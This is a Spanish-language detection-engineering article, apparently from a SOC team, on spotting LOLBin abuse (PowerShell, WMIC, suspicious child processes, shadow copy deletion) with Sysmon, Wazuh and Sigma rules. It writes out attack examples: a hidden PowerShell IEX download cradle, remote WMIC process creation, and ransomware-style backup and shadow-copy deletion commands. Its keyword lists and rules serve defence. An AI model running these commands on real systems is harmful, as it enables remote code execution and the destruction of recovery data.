Skip links
EVENTOS LOLBIN: cómo identificarlos y detectarlos

EVENTOS LOLBIN: cómo identificarlos y detectarlos

EVENTOS LOLBIN: cómo identificarlos y detectarlos

INTRODUCCIÓN

En el presente documento, se llevó a cabo la investigación de eventos de tipo LOLBIN (Living off the Land Binaries) desde su entendimiento, las variantes que existen (según las herramientas y comandos aplicados), hasta reglas generadas para detectarlos en un sistema de tipo SIEM.

 

Para el desarrollo del presente trabajo, se procede a dividir el tema en distintos casos:

1. Powershell

2. WMIC

3. Malicious Parent/Child Processes

4. Shadow Copy

 

Donde se hará énfasis en cada uno, desde el punto de vista de su explotación, métodos para su ejecución y posteriormente, para su detección.

DEFINICIÓN DE LOLBIN

Living Off the Land Binaries and Scripts (LOLBins) se refiere a una categoría de herramientas de software que están presentes de manera nativa dentro de un sistema operativo o se descargan e instalan legítimamente, y que luego pueden ser explotadas por atacantes para actividades maliciosas.

Los LOLBins no solo incluyen binarios, sino también scripts y librerías que son partes genuinas de los sistemas operativos, como scripts de PowerShell, Windows Management Instrumentation (WMI), Certutil, e incluso herramientas básicas de Unix/Linux como curl o wget. 

La propia característica de los LOLBINs, en el propio contexto de la seguridad de los sistemas, requiere un enfoque holístico, ésto es, combinar las tecnologías con el propio entendimiento humano de la naturaleza de estos ataques.

CASO 1: EJECUCIÓN DE POWERSHELL

Una de las principales herramientas para los atacantes es Powershell. Debido a su potencia, es capaz de realizar todo tipo de actividades. Esta herramienta es muy popular en su uso, tanto por administradores de sistema, como por atacantes. 

 

Este caso se relaciona con la sub técnica T1059.001(Command and Scripting Interpreter: PowerShell) de Mitre.

Existen dos fundamentos claves a la hora de la detección: 

–  ¿qué monitorear?

  ¿cómo monitorear?

 

Que monitorear: se puede observar el uso de distintos argumentos desde Powershell, los cuales pueden resultar sospechosos. A continuación, se recaban algunos ejemplos de otras investigaciones de cazas de amenazas.

 

Principales argumentos sospechosos de Powershell:

• NoProfile (all variations)

• Window hidden (all variations)

• W hidden

• windowstyle hidden

• NonInteractive (all variations)

• ExecutionPolicy (all variations)

• EP bypass

• Bypass

• Unrestricted

• EncodedCommand (all variations)

• NoLogo

• Command (all variations)

 

Principales «palabras clave» en ejecuciones de Powershell:

• DownloadString

• http://

• New-Object

• Get-WMIObject

• Text.Encoding

• FromBase64String

• ScriptBlock

• $env:

• Invoke-Expression

• Assembly

• Char

• https://

• DownloadFile

 

Ejemplos de ejecución

  • powershell -nop -w hidden -encodedcommand JABzADTOGIHKOdzhy
  • powershell -nop -w hidden -ep bypass -c “IEX (New-Object Net.WebClient).downloadstring(‘http://10[.]5[.]66[.]9)’)

 

COMO monitorear: se realiza mediante la utilidad de Sysmon (https://learn.microsoft.com/es-es/sysinternals/downloads/sysmon), cargando un template con varias reglas específicas.

 

Para capturar los eventos de Sysmon (específicamente interesa el proceso id1: process creation), se ejecuta Powershell con argumentos seleccionados desde un equipo con Windows Server instalado:

En el visor de eventos, se identifica el log de Sysmon (id = 1).

Capturando el evento “Process Creation” de Sysmon, se observa que el campo “commandLine” contiene los argumentos utilizados en la ejecución.

A partir de la siguiente información recolectada, se generan las reglas correspondientes:

title: Suspicious Encoded PowerShell Command Line

description: Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)

date: 2018-09-03

modified: 2023-04-06

tags:

    – attack.execution

    – attack.t1059.001

logsource:

    category: process_creation

    product: windows

detection:

    selection_img:

        – Image|endswith:

              – ‘\powershell.exe’

              – ‘\pwsh.exe’

        – OriginalFileName:

              – ‘PowerShell.EXE’

              – ‘pwsh.dll’

    selection_cli_enc:

        CommandLine|contains: ‘ -e’ # covers -en and -enc

    selection_cli_content:

        CommandLine|contains:

            – ‘ JAB’

            – ‘ SUVYI’

            – ‘ SQBFAFgA’

            – ‘ aQBlAHgA’

            – ‘ aWV4I’

            – ‘ IAA’

            – ‘ IAB’

            – ‘ UwB’

            – ‘ cwB’

    selection_standalone:

        CommandLine|contains:

            – ‘.exe -ENCOD ‘

            – ‘ BA^J e-‘ # Reversed

    filter_optional_remote_signed:

        CommandLine|contains: ‘ -ExecutionPolicy remotesigned ‘

    condition: selection_img and (all of selection_cli_* or selection_standalone) and not 1 of filter_optional_*

level: high

 

A partir del evento de Id 1 de Sysmon, se detecta el evento con nombre de proceso generado “powershell.exe”

El campo commandLine contiene la palabra clave “Command”.

 

Ejemplo de detección desde Wazuh:

En la primera detección se pueden observar los argumentos capturados desde el campo data.win.eventdata.commandLine.

En la segunda detección, se puede observar la ejecución inicial desde el campo data.win.eventdata.parentCommandLine.

De esta manera, es posible detectar diferentes argumentos y/o palabras claves en la ejecución de Powershell.

CASO 2: WMIC

WMIC es otra herramienta de Windows, también de línea de comandos, para tareas administrativas del sistema operativo. Si bien ya se encuentra en “desuso”, todavía se puede observar la utilización de la misma.

 

Es muy usada por los atacantes para distribuir malware, ya sea para descargarlos, como a la hora de ejecutar código malicioso en Powershell.

Este caso se relaciona con la Técnica T1047(Windows Management Instrumentation) de Mitre.

 

Para el presente ejemplo, se detecta el uso del parámetro “/node” como sospechoso, ya que permite realizar acciones desde un servidor remoto. Esto le daría posibilidad a los atacantes para correr todo tipo de tareas de forma remota.

 

Ejemplo de ejecución: 

  • wmic /node:192.168.0.42 /user:administrator process call create “cmd.exe /c calc.exe”

 

De lo anterior podemos observar que se ejecuta un proceso en cmd, que abre la calculadora, en el servidor remoto 192.168.0.42, utilizando la cuenta de administrador.

 

Para la captura de eventos y posterior detección, se procede a ejecutar la utilidad con el parámetro anteriormente mencionado, observando la generación del evento de Sysmon y posteriormente, la regla de detección en Wazuh.

Esto genera el siguiente evento de Sysmon:

De lo observado, se genera la siguiente alerta:

title: New Process Created Via Wmic.EXE

description: Detects new process creation using WMIC via the «process call create»

date: 2019-01-16

modified: 2023-02-14

tags:

    – attack.execution

    – attack.t1047

logsource:

    category: process_creation

    product: windows

detection:

    selection_img:

        – Image|endswith: ‘\wmic.exe’

        – OriginalFileName: ‘wmic.exe’

    selection_cli:

        CommandLine|contains|all:

            – ‘process’

            – ‘call’

            – ‘create’

    condition: all of selection_*

falsepositives:

    – Unknown

level: medium

Utilizando el mismo campo que en el ejemplo de Powershell: commandLine, el cual contiene el parámetro utilizado en la ejecución de Wmic.

CASO 3: MALICIOUS PARENT/CHILD PROCESSES

Para los casos de child processes engendrados por Powershell, se listan algunos que resultan sospechosos de la misma manera, pero con la herramienta WMIC. Desde Sysmon se identifica “powershell” o “WmiPrvSE.exe” como parentImage (el proceso que origina), y luego se analiza el valor de Image para determinar de esta forma que procesos son ejecutados por los primeros.

title: Suspicious WmiPrvSE Child Process

description: Detects suspicious and uncommon child processes of WmiPrvSE

date: 2021-08-23

modified: 2023-11-10

tags:

    – attack.execution

    – attack.defense-evasion

    – attack.t1047

    – attack.t1204.002

    – attack.t1218.010

logsource:

    product: windows

    category: process_creation

detection:

    selection_parent:

        ParentImage|endswith: ‘\wbem\WmiPrvSE.exe’

    selection_children_1:

        Image|endswith:

            – ‘\certutil.exe’

            – ‘\cscript.exe’

            – ‘\mshta.exe’

            – ‘\msiexec.exe’

            – ‘\regsvr32.exe’

            – ‘\rundll32.exe’

            – ‘\verclsid.exe’

            – ‘\wscript.exe’

    selection_children_2:       

        Image|endswith: ‘\cmd.exe’

        CommandLine|contains:

            – ‘cscript’

            – ‘mshta’

            – ‘powershell’

            – ‘pwsh’

            – ‘regsvr32’

            – ‘rundll32’

            – ‘wscript’

    filter_main_werfault:

        Image|endswith: ‘\WerFault.exe’

    filter_main_wmiprvse:

        Image|endswith: ‘\WmiPrvSE.exe’ # In some legitimate case WmiPrvSE was seen spawning itself

    filter_main_msiexec:

        Image|endswith: ‘\msiexec.exe’

        CommandLine|contains: ‘/i ‘

    condition: selection_parent and 1 of selection_children_* and not 1 of filter_main_*

falsepositives:

    – Unknown

level: high

 

Para lo anterior, se procede con la secuencia ya mencionada en los ejemplos anteriores:

1. Ejecutar el binario Mshta.exe desde Powershell.

2. Identificar evento en Sysmon

3. Ejemplo de ejecución de la regla en un SIEM.

1.

2.

3.

CASO 4: SHADOW COPY

Es una herramienta de Windows que permite crear copias de seguridad de los archivos en la máquina del usuario, pudiendo volver a un punto anterior o hacer una restauración del sistema. Una vez habilitada la funcionalidad, se crean “instantáneas”, como si fueran fotos de los datos. Estas son las Shadow Copies.

 

Las copias generadas por VSS (Volume Shadow Copy) quedan ocultas en el sistema de archivos del sistema operativo del usuario y se realizan cuando ocurre un cambio en la computadora, como una actualización del sistema operativo o de algún programa instalado.

 

Este servicio es una de los blancos principales en los ataques de Ransomware, donde se procede a eliminar cualquier copia que hubiese creada, a modo de anular definitivamente la posibilidad de contar con respaldos de la información (además de los respaldos propiamente dichos).

 

Hay varias formas de manipular las Shadow Copies, en el presente documento nos vamos a enfocar en las técnicas utilizadas con algunos LOLBINs. Existen varios ejecutables para administrar el servicio:

Windows Utilities for VSCs

Algunos ejemplos de ejecuciones:

1. vssadmin delete shadows /for=<ForVolumeSpec> [/oldest | /all | /shadow=<ShadowID>] [/quiet]

2. wmic SHADOWCOPY DELETE

3. wbadmin delete systemstatebackup [-backupTarget:<volumename>] [-machine:<backupmachinename>] [-quiet]

4. bcdedit.exe /set {{default}} bootstatuspolicy ignoreallfailures & bcdedit /set {{default}} recoveryenabled no

5. diskshadow delete shadows all

 

1. 

2.

3.

4.

5. 

Regla de detección

title: Delete shadow copy via WMIC

description: Delete shadow copy via WMIC

date: 2020-05-11

id: 200076

threatname:

behaviorgroup: 18

classification: 0

tags:

    – attack.execution

    – attack.inhibit-system-recovery

    – attack.t1490 

logsource:

    category: process_creation

    product: windows

detection:

    selection:

        CommandLine:

            – ‘*wmic*shadowcopy delete*’

    condition: selection

level: critical

BIBLIOGRAFÍA

  • Definición y conceptos de LOLBINs

https://www.vpnunlimited.com/es/help/cybersecurity/lolbin

  • Webinar sobre LOLBINs

https://www.youtube.com/watch?v=XZw9kajmCis

  • Casos de estudio 

https://docs.broadcom.com/doc/living-off-the-land-turning-your-infrastructure-against-you-en

  • Análisis de eventos de Sysmon y Powershell

https://medium.com/@ahesham93/threat-hunting-with-sysmon-101-part-3-command-line-investigation-9d4857349181

  • WMIC

https://learn.microsoft.com/es-es/windows/win32/wmisdk/wmic

  • Matriz de Mitre Attack

https://attack.mitre.org/

  • Mapeo de algunos LOLBINs con Mitre

https://lolbas-project.github.io/

  • Suspicious PowerShell / WmiPrvSE Child Processes

https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_powershell_susp_child_processes.yml

https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_wmiprvse_susp_child_processes.yml

  • MSHTA.exe

https://www.mcafee.com/learn/what-is-mshta-how-can-it-be-used-and-how-to-protect-against-it/

  • Shadow Copy

https://blogs.vmware.com/security/2022/09/threat-report-illuminating-volume-shadow-deletion.html

https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-systemstatebackup

https://cyber-kill-chain.ch/techniques/T1490/

https://docs.datacore.com/WIK-WebHelp/WIK-WebHelp/VSS/DiskShadow_Commands_Example.htm

  • Reglas Sigma

https://github.com/NVISOsecurity/sigma-public/

 

SOC Datasec